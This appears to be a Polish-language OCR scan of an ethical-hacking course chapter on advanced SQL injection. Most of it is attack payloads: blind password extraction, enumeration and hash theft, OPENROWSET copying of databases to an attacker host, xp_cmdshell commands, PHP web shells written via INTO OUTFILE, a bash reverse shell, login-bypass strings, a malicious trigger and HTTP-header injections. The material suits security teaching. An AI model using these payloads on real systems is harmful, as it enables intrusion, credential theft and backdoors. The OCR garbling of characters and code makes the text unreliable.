Sprawdz, czy pierwszy znak w hasle to ,,d”

index.php?id=2 and 1=(SELECT 1 FROM UserInfo WHERE Password REGEXP
'A [d] 1 AND ID=2)

Zatézmy, ze powyisze zapytanie zwraca wartos¢ PRAWDA. W ten sposob atakujgcy identyfikuje
pierwszy znak hasta jako ,,d”. Atakujgcy powtarza ten sam proces, aby zidentyfikowac¢ pozostate znaki
hasta.

Eksportowanie wartosci w MSSQL

W MSSQL osoby atakujgce uzywajg tej samej metody, co opisana powyzej, aby zidentyfikowaé
pierwszy znak hasta. Teraz zobaczymy, jak atakujgcy identyfikuje drugi znak hasta w MSSQL za pomoca
nastepujgcej metody:

Sprawdz, czy drugi znak hasta znajduje sie miedzy ,a” a ,f”
default.aspx?id=2 AND 1=(SELECT 1 FROM Userinfo WHERE Password LIKE 'd[a-f]%' AND ID=2)

Jesli powyzsze zapytanie zwrdci FALSZ, osoba atakujgca sprébuje wartosci z zakresu od ,,0” do ,,9”.
Sprawdz, czy drugi znak w hasle to miedzy ,0” a ,,9”

default.aspx?id=2 AND 1=(SELECT 1 FROM Userinfo WHERE Password LIKE 'd[0-9]%' AND ID=2)
Jesli powyzsze zapytanie zwrdci PRAWDA, sprawdz, czy drugi znak w hasle to miedzy ,,0” a ,4”
default.aspx?id=2 AND 1=(SELECT 1 FROM Userinfo WHERE Password LIKE 'd[0-4]%' AND ID=2)

Jesli powyzsze zapytanie zwréci FALSZ, atakujgcy wnioskuje, ze drugi znak to miedzy ,5” a ,9”.
Sprawdz, czy drugi znak w hasle znajduje sie miedzy ,5” a,9”

default.aspx?id=2 AND 1=(SELECT 1 FROM Userinfo WHERE Password LIKE 'd[5-9]%' AND ID=2)
Jesli powyzsze zapytanie zwrdci PRAWDA, sprawdz, czy drugi znak w hasle to miedzy ,5” a ,,7”
default.aspx?id=2 AND 1=(SELECT 1 FROM UserInfo WHERE Password LIKE 'd[5-7]%' AND ID=2)
Jesli powyisze zapytanie zwrdci FALSZ, atakujacy wnioskuje, ze drugi znak to albo ,,8” albo ,,9”
Sprawdz, czy drugim znakiem hasta jest ,8”

default.aspx?id=2 AND 1=(SELECT 1 FROM UserInfo WHERE Password LIKE 'd[8]%' AND ID=2)
Jesli powyzsze zapytanie zwrdci wartos¢ TRUE, osoba atakujgca zidentyfikuje drugi znak w pliku
hasto jako ,,8”.

Atakujacy powtarza ten sam proces, aby zidentyfikowac pozostate znaki hasta. Po uzyskaniu hasta
atakujacy loguje sie do sieci do aplikacji do wykonywania réznych ztosliwych dziatan.



Zaawansowana iniekcja SQL

Atakujacy nie poprzestaje na naruszeniu danych aplikacji. Atakujgcy przyspieszy atak SQL injection, aby
naruszy¢ bazowy system operacyjny i sie¢. Korzystajgc ze zhakowanej aplikacji, osoba atakujgca moze
wydac polecenia systemowi operacyjnemu, aby przeja¢ maszyne docelowg i uzy¢ jej jako punktu
przejsciowego do ataku na reszte sieci. Osoba atakujgca moze wchodzi¢ w interakcje z systemem
operacyjnym w celu wyodrebnienia szczegétow systemu operacyjnego i haset aplikacji, wykonywania
polecen, uzyskiwania dostepu do plikéw systemowych itd. Atakujagcy moze dodatkowo
skompromitowac catg sie¢ docelowg, instalujgc trojany i umieszczajac keyloggery.

Wyliczanie baz danych, tabel i kolumn

Atakujacy uzywaja roznych zapytan SQL do wyliczania baz danych, nazw tabel i kolumn. Informacje
uzyskane przez atakujgcego po wyliczeniu mogg zosta¢ wykorzystane do pozyskania wrazliwych
danych z bazy danych, modyfikacji danych (wstaw/aktualizuj/usun), wykonania operacji na poziomie
administratora na bazie danych, a nawet pobrania zawartosci danego pliku znajdujgcego sie na System
plikéw DBMS. Atakujacy wykorzystuje nastepujgce techniki do wykonania wyliczenia:

Zidentyfikuj uprawnienia na poziomie uzytkownika

Istnieje kilka wbudowanych funkcji skalarnych SQL, ktére beda dziata¢ w wiekszosci implementacji SQL:
user or current_user, session_user, system_user

"and 1in (select user) --

'; if user ='dbo' waitfor delay '0:0:5

"union select if( user() like 'root@%',

benchmark(50000,shal('test'")), 'false');

Administratorzy DB

Domyslne konta administratora to sa, system, sys, dba, admin, root i wiele innych. Dbo to uzytkownik,
ktéry ma dorozumiane uprawnienia do wykonywania wszystkich dziatan w bazie danych. Kazdy obiekt
utworzony przez dowolnego cztonka statej roli serwera sysadmin nalezy automatycznie do dbo.

Odkryj strukture bazy danych

Okresl nazwy tabel i kolumn

' group by columnnames having 1=1--

Odkryj typy nazw kolumn

"union select sum(columnname ) from tablename --

Wylicz tabele zdefiniowane przez uzytkownika

"and 1 in (select min(name) from sysobjects where xtype = 'U' and name >".') -
Wyliczanie kolumn w DB

mssQL

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects



WHERE name = 'tablename’)

sp_columns tablename

MysQL

show columns from tablename

Oracle

SELECT * FROM all tab columns WHERE table name="tablename’
DB2

SELECT * FROM syscat.columns WHERE tabname= 'tablename'
PostgreSQL

SELECT attnum,attname from pg_class, pg_attribute WHERE relname=
'tablename' AND pg_class.oid=attrelid AND attnum >0
Zaawansowane wyliczanie

Atakujacy wykorzystujg zaawansowane techniki wyliczania do zbierania informacji na poziomie
systemu i sieci. Informacje zebrane w poprzednim etapie mogg zosta¢ wykorzystane do uzyskania
nieautoryzowanego dostepu. Atakujgcy moze tamaé hasta za pomocg réznych narzedzi, takich jak
LOphtCrack, ophcrack, RainbowCrack, John the Ripper i tak dalej. Atakujgcy wykorzystujg
przepetnienia bufora w celu okreslenia stabych punktéw systemu lub sieci. Nastepujgce obiekty bazy
danych sg uzywane do wyliczania:

Oracle MS Access MySQL MSSQL Server
SYS.USER_OBJECTS MsysACEs mysqgl.user sysobjects
2:212'{; ALES MsysObjects mysqgl.db syscolumns
SYS.USER_VIEWS MsysQueries mysqgl.tables_priv systypes
SYS.ALL TABLES MsysRelationships sysdatabases
SYS.COLUMNS
SYS.USER_OBJECTS

Przykfady:

Woyliczanie tabel i kolumn w jednym zapytaniu

"union select 0, sysobjects.name + ': ' + syscolumns.name + "

systypes.name, 1,1, '1', 1,1, 1, 1, 1 from sysobjects,

syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id

= syscolumns.id AND syscolumns.xtype = systypes.xtype —




Wyliczanie bazy danych

Rdézne bazy danych na serwerze

"and 1 in (select min(name) from master.dbo.sysdatabases where

name >'.") —

Lokalizacja plikéw baz danych

"and 1 in (select min(filename) from master.dbo.sysdatabases where

filename >'.") —

Cechy réznych DBMS

Gdy osoba atakujgca zidentyfikuje typ bazy danych uzywanej w aplikacji podczas fazy zbierania
informacji, osoba atakujgca moze nastepnie wyszukaé funkcje obstugiwane przez konkretng baze
danych i odpowiednio ograniczy¢ obszar ataku. Poréwnanie réznych baz danych ujawnia réing
sktadnie i dostepnos¢ funkcji w odniesieniu do konkatenacji faricuchéw, komentarzy, unii zadan,
podzadan, procedur przechowywanych, dostepnosci schematu informacyjnego lub jego analogdéw i tak

dalej.
MySQL MssQL e Oracle DB2 PostgreSQL
¥ Access g
" concat
String concat(’) L} |+| 1 " ll&l! " 1 lI ll ” ' I' ll '
Concatenation concat_ws(delim,) g
L ] l | "
Comments --and /**/and # -—-and /* No --and /* -- -—-and /*
Request Union union unionand; | union union union union and ;
Sub-requests v.4.1>= Yes No Yes Yes Yes
Stored Procedures v.5.0 >= Yes No Yes No Yes
Availability of
information schema v.5.0 >= Yes Yes Yes Yes Yes
or its Analogs
Przyktady:
MySQL

SELECT * from table where id = 1 union select 1,2,3

PostgreSQL

SELECT * from table where id = 1; select 1,2,3

Oracle

SELECT * from table where id = 1 union select null,null,null from

sys.dual

Tworzenie kont bazy danych




Ponizej przedstawiono rézne sposoby tworzenia kont baz danych w réznych systemach DBMS:
Serwer Microsoft SQL

exec sp_addlogin 'victor', 'Pass|23'

exec sp_addsrvrolemember 'victor', 'sysadmin'

Oracle

CREATE USER victor IDENTIFIED BY Pass|23

TEMPORARY TABLESPACE temp

DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;

GRANT RESOURCE TO victor;

MySQL

INSERT INTO mysql.user (user, host, password) VALUES ('victor',
'localhost', PASSWORD('Passl|23'))

Przechwytywanie hasta

Przechwytywanie haset jest jedng z najpowazniejszych konsekwencji ataku typu SQL injection.
Atakujacy przechwytujg hasta ze zdefiniowanych przez uzytkownika tabel bazy danych za pomoca
zapytan typu SQL injection. Atakujgcy wykorzystuje swoje sztuczki wstrzykiwania SQL i tworzy
zapytanie SQL majgce na celu pobranie haset ze zdefiniowanych przez uzytkownika tabel bazy danych.
Atakujacy moze zmieni¢, zniszczy¢ lub ukrasé¢ przechwycone hasto. Czasami osoby atakujace moga
nawet odnies¢ sukces w eskalacji uprawnien do poziomu administratora przy uzyciu skradzionych
haset.

Na przyktad osoby atakujgce mogg uzy¢ nastepujgcego kodu do przechwycenia haset:
begin declare @var varchar(8000)

set @var="'select @var=@var+' '+login+'/'+password+"' ' from users where
login>@var select @var as var into temp end --

"and 1 in (select var from temp) --

'; drop table temp - -

Przechwytywanie skrétow SQL Server

Niektdre bazy danych przechowuja identyfikatory uzytkownikéw i hasta w tabeli syslogins w postaci
wartosci skrétu. Jakis atakujgcy prébuje wyodrebni¢ poswiadczenia w postaci zwyktego tekstu, skréty
haset, tokeny itp. z bazy danych dalsze kompromitowanie sieci docelowej. Aby wydoby¢ te informacje,
atakujacy muszg to zrobié , wykonujgc sekwencje zapytan do docelowej bazy danych, jak pokazano
ponizej:

Przyktad 1

Skréty sg wyodrebniane za pomoca



SELECT password FROM sys.syslogins

Nastepnie heksujemy kazdy skrot

begin @charvalue='0Ox', @1=1, @length=datalength(Qbinvalue),
Qhexstring = '0123456789ABCDEF'

while (@i<=@Iength) BEGIN

declare @tempint int, @firstint int, Qsecondint int

select @tempint=CONVERT(int,SUBSTRING(@binvalue, @i,1))
select @firstint=FLOOR(@tempint/16)

select @secondint=@tempint - @firstint*16)

select @charvalue=@charvalue + SUBSTRING

(@hexstring, @firstint+l,1) + SUBSTRING (Qhexstring, @secondint+l,
1)

select @i=@i+l

END

Na koniec przeglagdamy wszystkie hasta.

Przyktad 2

Rozwaz nastepujgce zapytanie SQL

SELECT name, password FROM sys.syslogins

Aby wyswietli¢ skréty w komunikacie o btedzie, przekonwertuj skréty -> Hex -> concatenate Ogdlnie
rzecz biorgc, pole hasta wymaga dostepu dba. Majac nizsze uprawnienia, nadal mozesz odzyskac nazwy
uzytkownikéw i zastosowac brutalng site w celu ustalenia hasta. Probka skrétu serwera SQL

0x010034767D5COCFASFDCA28C4A56085E65E882E71CBOED2503412FD54D6119FFFO
4129A1D72E7C3194F7284A7F3A

Wyodrebnianie skrotow za pomocg komunikatéw o btedach

"and 1in (select x from temp) --

"and 1 in (select substring (x, 256, 256)--

"and 1 in (select substring (x, 512, 256)--

"drop table temp—

Przenie$ baze danych na maszyne atakujgcego

Atakujgcy moze réwniez potgczyé baze danych docelowego serwera SQL z wtasng maszyng
atakujgcego. W ten sposdb osoba atakujgca moze pobrac dane z docelowej bazy danych serwera SQL.
Atakujacy robi to za pomocg OPENROWSET; po zreplikowaniu struktury DB nastepuje transfer danych.
Atakujagcy taczy sie ze zdalng maszyng na porcie 80 w celu przestania danych. Na przyktad osoba



atakujgca moze wstrzyknac nastepujgcy sekwencje zapytan w celu przestania bazy danych na maszyne
osoby atakujace;j:

'; insert into OPENROWSET('SQLoledbuid=sa;pwd=Pass|23;Network=DBMSSOCN;
Address=mylP,80; ',' 'select * from mydatabase..hacked_sysdatabases')

select * from sys.sysdatabases --

'; insert into OPENROWSET('SQLoledbuid=sa;pwd=Passl|23;Network=DBMSSOCN;
Address=mylP,80;', 'select * from mydatabase..hacked_sysdatabases')

select * from sys.sysobjects --

'; insert into OPENROWSET('SQLoledbuid=sa;pwd=Passl|23;Network=DBMSSOCN;
Address=mylP,80;','select * from mydatabase..hacked_syscolumns')

select * from sys.syscolumns --

'; insert into OPENROWSET('SQLoledbuid=sa;pwd=Passl|23/Network DBMSSOCN;
Address=mylP,80;','select * from mydatabase..tablel')

select * from database..tablel --

'; insert into OPENROWSET('SQLoledbuid=sa;pwd=Pass|23;Network=DBMSSOCN;
Address=mylP,80;', 'select * from mydatabase..table2')

select * from database..table2 --

Interakcja z systemem operacyjnym

Atakujacy uzywajg réznych zapytan DBMS do interakcji z docelowym systemem operacyjnym. Istniejg
dwa rézne sposoby interakcji z systemem operacyjnym:

Odczytywanie i zapisywanie plikdw systemowych z dysku: osoba atakujgca moze odczytywac dowolne
pliki znajdujgce sie w celu, na ktérym dziata system DBMS, i krasé¢ wazne dokumenty, konfiguracje lub
pliki binarne. Moze réowniez uzyska¢ dane uwierzytelniajgce z docelowych plikdw systemowych, aby
przeprowadzi¢ dalsze ataki na system.

Bezposrednie wykonanie polecenia przez powtoke zdalng: osoba atakujgca moze wykorzystaé token
dostepu systemu Windows do eskalacji swoich uprawnien w systemie docelowym, wykona¢ ztosliwe
dziatania i przeprowadzi¢ dalsze ataki.

Na przyktad nastepujgce zapytania mogg stuzy¢ do interakcji z docelowym systemem operacyjnym:
MSSQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' --

's CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM

'test.txt' --

'; begin declare @data varchar(8000) ; set @data='| '; select

@data=@data+txt+' | ' from tmp where txt <@data ; select @data as x



into temp end --

"and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC

master..xp_cmdshell @var; drop table temp; drop table tmp —

Interakcja systemu operacyjnego MySQL

CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll’;

CREATE FUNCTION sys_eval RETURNS string SONAME 'libudffmwgj.dIl’;

Uwaga: Te metody sg ograniczone uprawnieniami i uprawnieniami do uruchamiania bazy danych.
Interakcja z systemem plikow

Atakujacy wykorzystujg funkcjonalnos¢ MySQL umozliwiajgca odczytywanie plikdw tekstowych przez
baze danych w celu uzyskania plikdw z hastami i zapisania wynikéw zapytania w pliku tekstowym.
Funkcje uzywane przez osobe atakujgca do interakcji z systemem plikéw sg nastepujace:

LOAD_FILE{)

Funkcja LOAD_FILE() w MySQL stuzy do odczytywania i zwracania zawartosci pliku znajdujgcego sie na
serwerze MySQL. Na przyktad nastepujgce zapytanie jest uzywane przez osobe atakujgcg w celu
pobrania pliku haset z bazy danych:

NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*
Jesli sie powiedzie, wstrzykniecie wyswietli zawartos¢ pliku passwd.
INTO OUTFILE()

Funkcja OUTFILEQ w MySQL jest czesto uzywana do uruchamiania zapytania i zrzucania wynikéw do
pliku. Na przyktad nastepujace zapytanie jest uzywane przez osobe atakujgcy do przechowywania
wynikéw okres$lonego zapytania:

NULL UNION ALL SELECT NULL,NULL,NULL,NULL <?php
system(S_GET["command"]); ?>' INTO OUTFILE
'/var/www/certifiedhacker.com/shell.php 1 /*

Jesli sie powiedzie, bedzie mozna uruchamiaé¢ polecenia systemowe za posrednictwem pliku
globalnego S_GET. Ponizej znajduje sie przyktad uzycia wget do pobrania pliku:

http://www.certifiedhacker.com/shell.php?command=wget

Rekonesans sieci za pomocg iniekcji SQL

Rekonesans sieci to proces testowania wszelkich potencjalnych luk w sieci komputerowej. Jednak
rozpoznanie sieci jest rowniez gtdwnym rodzajem ataku sieciowego. Rekonesans sieci mozna do
pewnego stopnia ograniczy¢, ale nie wyeliminowac. Atakujgcy uzywajg narzedzi do mapowania sieci,
takich jak Nmap i Network Topology Mapper, aby okresli¢ stabe punkty sieci.



Kroki oceny tacznosci sieciowe]j sg nastepujace:

o Pobierz nazwe serwera i konfiguracje za pomocg
"and 1in (select @ @servername ) --

"and 1 in (select srvname from sys.sysservers ) --

o Uzyj narzedazi, takich jak NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb i traceroute,
aby oceni¢ sieci

0 Przetestuj zapory ogniowe i serwery proxy

Aby przeprowadzié rekonesans sieci, mozesz wykonaé nastepujgce czynnosci za pomocg polecenia
xp_cmdshell:

o Ipconfig/all, tracert mylIP, arp -a, nbtstat -c, netstat -ano, route print
Kod uzywany do zbierania informacji o adresie IP poprzez wyszukiwanie wsteczne:
o Odwrotny DNS

'; exec master..xp_cmdshell 'nslookup a.com MylIP' —

Odwrdcony ping

'; exec master..xp_cmdshell 'ping 10.0.0.75'

0 OPENROWSET

'; select * from OPENROWSET( 'SQLoledb’, 'uid=sa; pwd=Pass|23;
Network=DBMSSOCN; Address=10.0.0.75,80;', 'select * from table')
Petne zapytanie dotyczace rekonesansu sieci

Do przeprowadzenia rekonesansu sieci mozna uzy¢ nastepujgcych zapytan:
'; declare @var varchar(256); set @var ="' del test.txt && arp -a »
test.txt && ipconfig /all » test.txt && nbtstat -c » test.txt &&

netstat -ano » test.txt && route print » test.txt && tracert -w 10

-h 10 google.com » test.txt'; EXEC master..xp_cmdshell @var --
':CREATE TABLE tmp (txt varchar(8000));

'test.txt' --

BULK INSERT tmp FROM

";begin declare @data varchar(8000) ; set @data=":'; select
@data=@data+txt+'|' from tmp where txt<@data ; select @data as x
into temp end —

"and 1 in (select substring(x,1,255) from temp) --

";declare @var sysname; set @var = 'del test.txt'; EXEC



master..xp_cmdshell @var; drop table temp; drop table tmp —

Uwaga: Microsoft domysinie wytgczyt xp_cmdshell w SQL Server. Aby witgczy¢ te funkcje, EXEC
sp_configure 'xp_cmdshell’, 1 GO RECONFIGURE GO

Znajdowanie i omijanie panelu administracyjnego witryny

Atakujacy probujg znalezé panel administracyjny witryny za pomoca prostych narzedzi Google i oming¢
uwierzytelnianie administratora za pomocg ataku SQL injection. Atakujacy zwykle uzywa Google dorks,
aby znalez¢ adres URL panelu administracyjnego. Na przykfad osoba atakujgca moze wyprébowad
nastepujgce sztuczki, aby znalez¢ panel administracyjny witryny:

inurl:adminlogin.aspx
inurl:admin/index.php
inurl:administrator.php
inurl:administrator.asp
inurl:login.asp
inurl:login.aspx
inurl:login.php
inurl:admin/index.php
inurl:adminlogin.aspx

Korzystajgc z powyzszych sztuczek, osoba atakujgca moze utworzy¢ nastepujgce adresy URL, aby
uzyskac dostep do strony logowania administratora witryny:

http://www.certifiedhacker.com/admin.php
http://www.certifiedhacker.com/admin/
http://www.certifiedhacker.com/admin.html
http://www.certifiedhacker.com:2082/

Gdy atakujacy uzyska dostep do strony logowania administratora, probuje znalezé nazwe uzytkownika
i hasto administratora, wprowadzajac ztosliwe zapytania SQL.

Na przyktad,

Nazwa uzytkownika: 1'or '1'="1
Hasto: 1’or' or 1=1 --
1'or'1'="1

admin'-

"or0=0

or 0=0

"or 0=0 #



"or0=0#
or0=0 #
"or 'x'='x
"or "x"="x
) or ('x'="x
"or1=1--
"or1=1--

or 1=1--'1'="1

Niektére zapytania SQL uzywane przez atakujgcego w celu obejscia uwierzytelniania administratora
obejmuja:

'or1=1--
1'or'l'="1
admin'-
"or0=0
or 0=0
"or0=0 #
"or0=0#
or0=0 #
Yor 'x'="x
"or "x"="x
) or ('x'="x
'or 1=1--
"or1=1--
or1=1—

Po ominieciu uwierzytelnienia administratora atakujgcy uzyskuje petny dostep do panelu
administracyjnego i wykonuje szkodliwe dziatania, takie jak instalowanie backdoora w celu
przeprowadzania kolejnych atakéw.

Eksploatacja PL/SQL

PL/SQL, podobnie jak procedura sktadowana, jest podatny na rézne ataki polegajgce na iniekcji SQL.
Kod PL/SQL ma te same luki w zabezpieczeniach, co zapytania dynamiczne, ktdre integrujg dane
wprowadzane przez uzytkownika w czasie wykonywania. Ponizej omowiono niektdre techniki
stosowane przez atakujgcego do przeprowadzania ataku typu SQL injection na bloki PL/SQL. Na
przyktad baza danych zawiera tabele user_Detaiis z nastepujgcymi atrybutami:

Nazwa uzytkownika: VARCHAR2



Hasto: VARCHAR2

Podczas pobierania danych uzytkownika z tabeli stosowana jest procedura PL/SQL podana ponizej aby
sprawdzi¢ poprawnos¢ hasta dostarczonego przez uzytkownika. Ta procedura jest podatna na rdézne
kody ataki iniekcyjne SQL .

CREATE OR REPLACE PROCEDURE Validate_UserPassword(N_UserName IN
VARCHAR2, N_Password IN VARCHAR2) AS

CUR SYS_REFCURSOR;

FLAG NUMBER;

BEGIN

OPEN CUR FOR 'SELECT 1 FROM User Details WHERE UserName ="" | |
N__UserName ||"" || ' AND Password =" || N_Password || "";
FETCH CUR INTO FLAG;

IF CUR%NOTFOUND

THEN

RAISE APPLICATION ERROR(-20343, 'Password Incorrect');

END IF;

CLOSE CUR;

END;

Powyzszg procedure PL/SQL mozna wykorzystaé na dwa rézne sposoby:
EXEC Validate_UserPassword('Bob’, '@Bobl23');

Wykorzystanie cudzystowoéw

Na przyktad, jesli osoba atakujgca wprowadzi ztosliwe dane wejsciowe, takie jak ,x” LUB T=T, do pola
hasta uzytkownika, zmodyfikowane zapytanie podane w procedurze zwrdci wiersz bez podania
prawidtowego hasta.

EXEC Validate_UserPassword ('‘Bob’, 'x" OR "'1"="1");

Procedura PL/SQL zostanie wykonana pomyslnie, a wynikowe zapytanie SQL zostanie wykonane
SELECT 1 FROM User Details WHERE UserName = 'Bob' AND Password ='x' OR’'1'='1’;
Eksploatacja przez obhciecie

Osoba atakujgca moze uzy¢ komentarzy wbudowanych w celu ominiecia niektérych czesci instrukcji
SQL. Atakujacy uzywa komentarzy wbudowanych wraz z nazwg uzytkownika w nastepujacy sposéb.

EXEC Validate_UserPassword (‘Bob 1 '--', “);
Procedura PL/SQL zostanie wykonana pomyslnie, a wynikowe zapytanie SQL zostanie wykonane

SELECT 1 FROM User_Details WHERE UserName = 'Bob' -- AND



Password="";

Omdédwione powyzej techniki wykorzystywania kodu PL/SQL mogg by¢ rowniez uzywane z dowolnymi
niezabezpieczonymi strukturami programistycznymi w PHP, .NET itd., ktére sg uzywane do interakcji z
bazg danych SQL.

Mozna zastosowal nastepujgce $rodki zaradcze w celu ochrony kodu PL/SQL przed atakami
polegajagcymi na iniekcji SQL:

Zminimalizuj dane wprowadzane przez uzytkownika do dynamicznego SQL

Weryfikuj i oczyszczaj dane wprowadzane przez uzytkownika przed witgczeniem ich do dynamicznych
instrukcji SQL

Uzyj pakietu DBMS_ASSERT dostarczonego przez firme Oracle, aby zweryfikowaé dane wejsciowe
uzytkownika

Wykorzystaj parametry wigzania w dynamicznym SQL, aby zmniejszy¢ mozliwos$¢ atakow

Unikaj pojedynczych cudzystowdéw i uzywaj bezpiecznych parametréw ciggu, stosujgc podwdjne
cudzystowy

Tworzenie backdooréw serwerowych za pomocg SQL Injection
Ponizej przedstawiono rézne metody tworzenia backdooréw:
Pobieranie powtoki systemu operacyjnego

Atakujgcy uzywaja funkcji serwera SQL, takich jak xp_cmdsheii, do wykonywania dowolnych polecen.
Kazde oprogramowanie DBMS ma wtasng konwencje nazewnictwa dla takich funkcji. Innym sposobem
tworzenia backdooréw jest uzycie funkcji SELECT ... INTO OUTFILE dostarczanej przez MySQL w celu
zapisania dowolnych plikdéw z uprawnieniami uzytkownika bazy danych. Za pomocg tego zapytania
mozliwe jest réwniez nadpisanie skryptu powtoki, ktéry jest wywotywany podczas uruchamiania
systemu. Backdoory mozna rowniez tworzy¢, definiujgci uzywajgc procedur przechowywanych w bazie
danych.

Korzystanie z Outfile

Jesli atakujgcy moze uzyskac dostep do serwera WWW, moze uzy¢ nastepujgcego zapytania MySQL do
utworzenia powtoki PHP na serwerze

SELECT '<?php exec(S_GET[* 'cmd"]); ?>' FROM usertable INTO
dumpfile '/var/www/html/shell.php'
Znajdowanie struktury katalogéw

Aby pozna¢ lokalizacje bazy danych na serwerze WWW, osoba atakujgca moze uzy¢ nastepujgcego
zapytania SQL injection, ktére podaje strukture katalogéw. Poznajgc strukture katalogu, osoba
atakujgca moze znalez¢ lokalizacje, w ktérej umiesci powtoke na serwerze sieciowym.

SELECT @ @datadir;

Korzystanie z wbudowanych funkcji DBMS



MSSQL ma wbudowane funkcje, takie jak xp_cmdshell do wywotywania funkcji systemu operacyjnego
w czasie wykonywania. Na przykfad ponizsza instrukcja tworzy interaktywng powtoke nastuchujaca
pod adresem 10.0.0.1 i portem 8080

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
Tworzenie backdoora bazy danych

Atakujacy uzywajg wyzwalaczy do tworzenia backdooréw bazy danych. Wyzwalacz bazy danych to
procedura sktadowana, ktéra jest automatycznie wywotywana i wykonywana w odpowiedzi na
okreslone zdarzenia w bazie danych. Na przyktad witryna zakupdw online przechowuje szczegétowe
informacje o wszystkich sprzedawanych przedmiotach w tabeli bazy danych o nazwie ELEMENTY.
Atakujacy moze wprowadzi¢ ztodliwy wyzwalacz do tej tabeli, tak ze za kazdym razem, gdy
wykonywane jest zapytanie INSERT, wyzwalacz automatycznie ustawia cene przedmiotu na 0. Flence,
za kazdym razem, gdy klient kupuje przedmiot, kupuje go bez ptacenia pieniedzy . Kod Oracle dla
ztosliwego wyzwalacza jest podany ponizej:

CREATE OR REPLACE TRIGGER SET_PRICE
AFTER INSERT OR UPDATE ON ITEMS
FOR EACH ROW

BEGIN

UPDATE ITEMS

SET Price =0;

END;

Osoba atakujgca musi wstrzyknac i wykonaé ten wyzwalacz bazy danych na serwerze WWW, aby
utworzy¢ backdoora.

Wstrzykniecie SQL oparte na nagtéwku HTTP

Atakujgcy moga uzywaé nagtéwkéw HTTP do wstrzykiwania zapytan SQL do podatnego serwera. Ta
luka w zabezpieczeniach jest zwykle spowodowana brakiem odpowiedniego oczyszczenia danych
wejsciowych uzytkownika. Atakujgcy mogg wykorzystywaé rézne pola nagtéwka HTTP do
wstrzykiwania ztosliwych zapytan SQL.

Pola nagtowka HTTP

Pola nagtéwka HTTP sg sktadnikami nagtéwkoéw komunikatédw zgdania i odpowiedzi HTTP. Pola te s3
przydatne do definiowania parametréw operacyjnych transakcji HTTP miedzy serwerem WWW a
przegladarka.

Oto niektére podstawowe pola nagtéwka HTTP zgdania:
GET / HTTP/1.1

Connection: "Connection"

Keep-Alive: "Timeout"

Accept:*/*



Host: Host" ":" host [ ":" port ]

Accept-Language: language [g=qvalue]
Accept-Encoding: "encoding types"

User-Agent: "<productXproduct-version> <comment>"
Cookie: name=value

Pliki cookie HTTP sg pierwszymi potencjalnymi zmiennymi HTTP uzywanymi do testowania i s3
przechowywane w bazach danych w celu identyfikacji sesji.

X-Forwarded-For

X-Forwarded-For to pole nagtéwka FITTP uzywane przez atakujacych do identyfikacji adresu IP systemu
klienckiego, ktdry zainicjowat potaczenie z serwerem WWW za posrednictwem serwera proxy FITTP.
Zatdimy na przyktad, ze nastepujgce zapytanie SQL zawiera btgd w przestaniu formularza:

Sreq — mysql_query("SELECT username,pwd FROM admin_table WHERE
username="".sanitize($_POST['user' ]).""

pwd="".md5(S_POST['password']). " ' AND ipadrr="".ip_address ().""'");
Sprawdzajgc zapytanie, zmienna login jest poprawnie kontrolowana dzieki metodzie sanitize)).
function sanitize(Sparams){

if (is_numeric(Sparams)) {

return Sparams;

}else {

return mysql_real_escape_string(Sparams);

}

>

Teraz sprawdz zmienng IP, ktora przydziela dane wyjsciowe ip_address()
function ip_address () {

if(isset($ SERVER['HTTP_X_FORWARDED_FOR'])) {

Sip_addr = $_SERVER['HTTP_X_FORWARDED_FOR'];

}else {

Sip_addr = $_SERVER["REMOTE_ADDR"];

)

if(preg_match("ft* CO-S]{1,3 >\.[0-9]{1,3}\.[0-9][1,3}\.[0-
9][1,3]#",Sip_addr)) {

return Sip_addr;



} else {
return $ SERVER["REMOTE ADDR"];
}

>

W powyzszej funkcji adres IP jest pobierany z nagtéwka FITTP X_FORWARDED_FOR i dalej
weryfikowany przez funkcje preg_match w celu sprawdzenia, czy wejscie ma co najmniej jeden adres
IP. Oznacza to, ze dane wejsciowe pobrane zX_FORWARDED_FOR nie sg odpowiednio oczyszczone, co
moze prowadzi¢ do wstrzykniecia ztosliwego zapytania SQL. Na przyktad osoba atakujgca moze
zmodyfikowaé pole nagtéwka X-Forwarded-For FITTP i wstrzykngé ztosliwe zapytanie SQL w celu
obejscia mechanizmu kontroli uwierzytelniania.

GET /index.php HTTP/1.1

Host : [host]

X_FORWARDED_FOR :10.10.10.11" or 1=1#
User-Agent

User-Agent to pole nagtéwka HTTP, ktdre zawiera informacje zwigzane z agentem uzytkownika, ktéry
zainicjowat zgdanie HTTP.

User-Agent : produkt | komentarz
Na przyktad:
User-Agent: Mozilla/ 68.0.2 (kompatybilny; MSIE5.01; Windows 10)

Pierwszym stowem rozdzielanym biatymi znakami bedzie nazwa oprogramowania, po ktdrej nastepuje
opcjonalny ukos$nik i numer wersji. Atakujgcy mogg wykorzystaé¢ te funkcje do wprowadzenia
ztosdliwych danych wejsciowych do pola User-Agent. Na przyktad osoba atakujgca moze zmodyfikowaé
pole User-Agent w nastepujgcy sposob:

GET /index.php HTTP/1.1
Host: [host]

User-Agent: aaa' or 1/*
Referer

Referer to nagtoéwek HTTP, ktéry jest podatny na iniekcje SQL, poniewaz aplikacja przechowuje dane
wejsciowe w bazie danych bez odpowiedniego oczyszczenia. Jest to opcjonalne pole nagtéwka HTTP,
ktore umozliwia klientowi okreslenie URI dokumentu lub obiektu w dokumencie. Pozwala to
serwerowi sieciowemu na utrzymywanie listy linkdw zwrotnych do dokumentéw w celu rejestrowania
i pomaga w S$ledzeniu ztosliwych linkéw. Na przyktad osoba atakujagca moze zmodyfikowac pole
nagtdwka HTTP strony odsytajgcej za pomocg ztosliwych danych wejsciowych nastepujaco:

GET /index.php HTTP/1.1
Host: [host]

User-Agent: aaa' or 1/*



Referer: http://www.hackerswebsite.com
Eksfiltracja DNS za pomocg SQL Injection

Atakujacy uzywaja eksfiltracji DNS do wyodrebniania danych, takich jak skroty haset z zgdania DNS.
